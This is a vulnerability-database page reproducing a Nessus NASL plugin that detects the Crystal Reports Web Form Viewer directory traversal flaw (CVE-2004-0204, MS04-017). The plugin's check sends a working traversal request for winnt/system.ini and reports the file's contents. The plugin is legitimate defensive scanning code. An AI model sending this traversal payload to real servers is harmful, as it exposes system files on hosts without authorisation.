Vulnerabilities > CVE-2004-0204 - Directory Traversal vulnerability in Business Objects Crystal Reports Web Form Viewer

#
# (C) Tenable Network Security, Inc.
#

if ( NASL_LEVEL < 3000 ) exit(0);

include("compat.inc");

if (description)
{
 script_id(12271);
 script_version ("1.32");
 script_cvs_date("Date: 2018/11/15 20:50:16");

 script_cve_id("CVE-2004-0204");
 script_bugtraq_id(10260);
 script_xref(name:"MSFT", value: "MS04-017");
 script_xref(name:"MSKB", value:"842689");

 script_name(english:"MS04-017: Crystal Reports Web Viewer Could Allow Information Disclosure and DoS (842689) (uncredentialed check)");
 script_summary(english:"Crystal Report virtual directory traversal");

 script_set_attribute(attribute:"synopsis",value:
"The web application running on the remote host has a directory
traversal vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running a version of Crystal Report Web interface
that is vulnerable to a remote directory traversal attack.  An
attacker exploiting this issue would be able to read or delete
arbitrary files outside of the web root." );
 script_set_attribute(
  attribute:"see_also", 
  value:"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2004/ms04-017"
 );
 script_set_attribute(
  attribute:"solution", 
  value:"Upgrade the software or utilize ACLs on the virtual directory."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2004/06/11");
 script_set_attribute(attribute:"vuln_publication_date", value: "2004/06/08");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe", value:"cpe:/a:businessobjects:crystal_reports_server");
 script_end_attributes();

 script_category(ACT_GATHER_INFO);
 script_family(english:"CGI abuses");
 script_copyright(english:"This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.");
 script_dependencie("http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);

dirs = make_list(
  cgi_dirs(),
  "/CrystalReportWebFormViewer",
  "/CrystalReportWebFormViewer2",
  "/crystalreportViewers"
);

foreach dir (dirs)
{
  url = dir + "/crystalimagehandler.aspx?dynamicimage=../../../../../../../../winnt/system.ini";
  res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail: 1);
	
  if ( "[drivers]" >< res[2] )
  {
    if (report_verbosity > 0)
    {
      report = string(
        "\n",
        "Nessus accessed system.ini by requesting the following URL :\n\n",
        "  ", build_url(port: port, qs: url), "\n"
      );

      if (report_verbosity > 1)
        report += string("\nWhich revealed the contents :\n\n", res[2], "\n");

      security_hole(port:port, extra:report);
    }
    else security_hole(port);

    exit(0);
  }
}

• name	Andrew Buttner
  organization	The MITRE Corporation

• name	Jonathan Baker
  organization	The MITRE Corporation